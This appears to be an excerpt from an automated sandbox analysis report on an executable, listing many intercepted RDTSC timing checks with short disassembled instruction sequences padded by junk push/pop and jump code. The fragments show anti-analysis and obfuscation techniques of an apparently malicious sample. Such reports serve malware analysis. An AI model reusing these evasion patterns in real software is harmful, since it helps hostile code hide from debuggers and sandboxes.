Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4B35 second address: 14A4BB4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F38E4FF50C9h 0x00000008 jmp 00007F38E4FF50C3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D389Bh], edx 0x00000016 lea eax, dword ptr [ebp+124875A6h] 0x0000001c jl 00007F38E4FF50B6h 0x00000022 push eax 0x00000023 jmp 00007F38E4FF50C7h 0x00000028 mov dword ptr [esp], eax 0x0000002b mov edi, dword ptr [ebp+122D2AD7h] 0x00000031 mov edx, dword ptr [ebp+122D289Fh] 0x00000037 lea eax, dword ptr [ebp+12487562h] 0x0000003d jo 00007F38E4FF50BAh 0x00000043 mov dx, 648Ah 0x00000047 push eax 0x00000048 push ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F38E4FF50C4h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4BB4 second address: 148E112 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dx, 244Fh 0x00000012 call dword ptr [ebp+1245AB6Eh] 0x00000018 push eax 0x00000019 jl 00007F38E4FECF3Eh 0x0000001f push esi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DFCEE second address: 14DFCF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DFCF2 second address: 14DFCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DFCFC second address: 14DFD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DFD00 second address: 14DFD04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E0552 second address: 14E0561 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F38E4FF50B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E0561 second address: 14E0569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E06F0 second address: 14E070B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E070B second address: 14E071E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F38E4FECF3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E5643 second address: 14E5647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBB71 second address: 14EBB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBB75 second address: 14EBB85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBB85 second address: 14EBBA3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F38E4FECF46h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBBA3 second address: 14EBBD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F38E4FF50C3h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBBD1 second address: 14EBBD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EBBD5 second address: 14EBBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EA898 second address: 14EA89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EA89E second address: 14EA8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EA8A2 second address: 14EA8A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EA8A8 second address: 14EA8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F38E4FF50D3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38E4FF50C3h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EAA34 second address: 14EAA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EAEAF second address: 14EAEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EAEB3 second address: 14EAEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F38E4FECF3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EAEC3 second address: 14EAEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F38E4FF50C2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EB420 second address: 14EB426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14EE047 second address: 14EE064 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jp 00007F38E4FF50DCh 0x00000011 jc 00007F38E4FF50B8h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 145D108 second address: 145D129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push edi 0x00000008 jc 00007F38E4FECF36h 0x0000000e jmp 00007F38E4FECF3Ch 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F09C3 second address: 14F09C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F09C8 second address: 14F09D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F09D3 second address: 14F09D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F5207 second address: 14F520D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F520D second address: 14F5211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F5211 second address: 14F522B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F522B second address: 14F524C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007F38E4FF50B6h 0x00000009 jmp 00007F38E4FF50C4h 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F550B second address: 14F5521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FECF3Fh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F5521 second address: 14F5531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F38E4FF50B6h 0x0000000a jns 00007F38E4FF50B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F57B1 second address: 14F57B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F57B5 second address: 14F57D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F38E4FF50B6h 0x0000000e jmp 00007F38E4FF50C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14F57D9 second address: 14F57F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 146574B second address: 146575C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FF50BCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 146575C second address: 1465762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1465762 second address: 1465766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FAA4D second address: 14FAA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FAA51 second address: 14FAA59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FACCE second address: 14FACE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F38E4FECF36h 0x0000000a jmp 00007F38E4FECF3Fh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FACE8 second address: 14FACFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50BCh 0x00000009 jnp 00007F38E4FF50B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FACFE second address: 14FAD04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FB756 second address: 14FB76A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14FD090 second address: 14FD094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150084C second address: 1500850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500850 second address: 1500856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500966 second address: 150096E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150096E second address: 1500974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500AFE second address: 1500B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F38E4FF50C4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500B17 second address: 1500B4C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F38E4FECF49h 0x00000008 jmp 00007F38E4FECF3Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F38E4FECF62h 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F38E4FECF36h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500B4C second address: 1500B5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1500E19 second address: 1500E21 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15095A2 second address: 15095A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15077F4 second address: 1507823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F38E4FECF3Ch 0x0000000d jmp 00007F38E4FECF3Ch 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jnl 00007F38E4FECF36h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1507823 second address: 150783A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FF50C2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1507983 second address: 1507994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F38E4FECF48h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1507994 second address: 150799A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15081F8 second address: 15081FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15084C6 second address: 15084CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15084CB second address: 15084D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15084D2 second address: 15084D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1508D18 second address: 1508D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1508D1C second address: 1508D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1508F79 second address: 1508F7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150C7C1 second address: 150C7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 jmp 00007F38E4FF50BEh 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150C955 second address: 150C961 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F38E4FECF3Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150C961 second address: 150C970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150C970 second address: 150C974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150CAF0 second address: 150CB18 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FF50BFh 0x00000011 jmp 00007F38E4FF50BDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150CCD4 second address: 150CCD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150CCD9 second address: 150CCF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F38E4FF50B6h 0x0000000a jmp 00007F38E4FF50C2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150CE47 second address: 150CE74 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F38E4FECF36h 0x00000009 jns 00007F38E4FECF36h 0x0000000f pop edi 0x00000010 jmp 00007F38E4FECF41h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150CE74 second address: 150CE7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 150D12D second address: 150D131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1519063 second address: 1519075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F38E4FF50BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1519075 second address: 151909A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F38E4FECF50h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15194AB second address: 15194B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15194B4 second address: 15194B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15194B8 second address: 15194DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F38E4FF50B6h 0x0000000d pop eax 0x0000000e jnc 00007F38E4FF50BCh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 152085E second address: 1520868 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F38E4FECF36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 153172A second address: 153172F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 153125C second address: 1531285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F38E4FECF3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1531285 second address: 1531295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F38E4FF50B6h 0x0000000a je 00007F38E4FF50B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1531295 second address: 153129E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 153129E second address: 15312A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 153143B second address: 1531445 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38E4FECF3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 153849A second address: 15384A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15384A0 second address: 15384A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15384A4 second address: 15384B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15384B0 second address: 15384B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
